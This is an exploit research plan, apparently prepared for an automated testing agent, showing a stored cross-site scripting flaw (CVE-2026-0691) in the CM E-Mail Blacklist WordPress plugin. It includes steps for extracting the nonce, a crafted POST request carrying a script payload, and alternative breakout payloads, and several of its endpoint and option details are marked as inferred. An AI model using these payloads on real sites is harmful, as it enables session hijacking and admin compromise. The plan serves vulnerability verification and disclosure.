CM E-Mail Blacklist <= 1.6.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'black_email' Parameter

This research plan outlines the technical steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the CM E-Mail Blacklist plugin (CVE-2026-0691).

1. Vulnerability Summary

The CM E-Mail Blacklist plugin (versions <= 1.6.2) fails to properly sanitize the black_email input parameter and subsequently fails to escape this value when displaying it in the admin dashboard. While the attack requires Administrator-level privileges, it is considered a vulnerability in multi-site environments or single-site environments where unfiltered_html has been disabled for administrators (e.g., via define('DISALLOW_FILE_EDIT', true); or specific role manager plugins).

2. Attack Vector Analysis

• Vulnerable Endpoint: WordPress Admin Area (/wp-admin/admin.php?page=cm-email-blacklist-settings - inferred)
• Vulnerable Parameter: black_email
• Authentication Requirement: Administrator or higher.
• Action String: Likely update or a plugin-specific AJAX action (e.g., cm_email_blacklist_save_options - inferred).
• Precondition: The testing environment must have unfiltered_html disabled for the administrator to demonstrate that the plugin's failure to sanitize/escape is the root cause.

3. Code Flow (Inferred)

1. Input: An administrator navigates to the plugin settings page and submits a list of blacklisted emails.
2. Processing: The request is handled by an admin_init hook or a specific POST handler (likely in CMEmailBlacklist.php or an admin-specific file). The code likely retrieves $_POST['black_email'] and saves it using update_option() without calling sanitize_text_field() or wp_kses().
3. Storage: The payload is stored in the wp_options table (e.g., under the option name cm_email_blacklist_data).
4. Output: When the settings page or a logs page is reloaded, the plugin retrieves the option using get_option() and echoes it directly into a table cell or <textarea> without using esc_html() or esc_textarea().

4. Nonce Acquisition Strategy

The plugin likely uses the standard WordPress Settings API or a custom form with a nonce field for CSRF protection.

1. Identify the Page: Navigate to the plugin settings page.
2. Locate Nonce: Search the HTML for a hidden input field, usually named _wpnonce or similar.
3. Extraction (PoC Agent):
   • Navigate to the settings page: browser_navigate("http://localhost:8080/wp-admin/admin.php?page=cm-email-blacklist-settings")
   • Extract the nonce: browser_eval("document.querySelector('input[name=\"_wpnonce\"]')?.value")
   • Identify the option group or action: browser_eval("document.querySelector('input[name=\"option_page\"]')?.value")

5. Exploitation Strategy

The goal is to inject a JavaScript payload into the blacklist settings that will execute whenever the settings page is viewed.

• Step 1: Authenticate. Log in as an Administrator.
• Step 2: Access Settings. Navigate to the "CM E-Mail Blacklist" settings page.
• Step 3: Capture Form Data. Identify the exact POST structure. Usually, it targets options.php or admin-post.php.
• Step 4: Send Payload.
  • Payload: "><script>alert(document.domain)</script>
  • HTTP Request (via http_request):

    POST /wp-admin/options.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    option_page=cm_email_blacklist_options&
    action=update&
    _wpnonce=[EXTRACTED_NONCE]&
    black_email=test@example.com%0A%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
    

• Step 5: Trigger XSS. Navigate back to the settings page to verify execution.

6. Test Data Setup

1. Plugin Installation: Ensure cm-email-blacklist version 1.6.2 is active.
2. Disable unfiltered_html:
   • Use WP-CLI: wp config set DISALLOW_UNFILTERED_HTML true --raw
   • Alternative: Create a site admin who does not have this capability if on Multisite.
3. Initial State: Ensure the blacklist is empty.

7. Expected Results

• The POST request should return a 302 Found redirecting back to the settings page.
• The settings page HTML will contain the raw payload: ...value="test@example.com "><script>alert(document.domain)</script>"...
• The browser will trigger an alert box showing the domain, confirming script execution in the admin context.

8. Verification Steps

1. Database Check: Use WP-CLI to verify the payload is stored exactly as sent.
   wp option get cm_email_blacklist_data (Inferred option name)
2. Response Inspection: Inspect the source of the settings page.
   http_request GET to the settings page and grep for <script>alert.

9. Alternative Approaches

• AJAX Handler: If the plugin uses AJAX to save settings, look for wp_ajax_cm_blacklist_save. The payload remains the same, but the Content-Type may be multipart/form-data and the endpoint will be /wp-admin/admin-ajax.php.
• Import Feature: If the plugin has an "Import CSV" or "Bulk Upload" feature, the black_email parameter might be processed through a file upload. A CSV containing the XSS payload can be uploaded to trigger the same vulnerability.
• Bypass Attenuation: If the plugin escapes the value inside a <textarea> but not in a <td> list, try a payload that breaks out of the table cell, like </td><td><script>alert(1)</script></td>.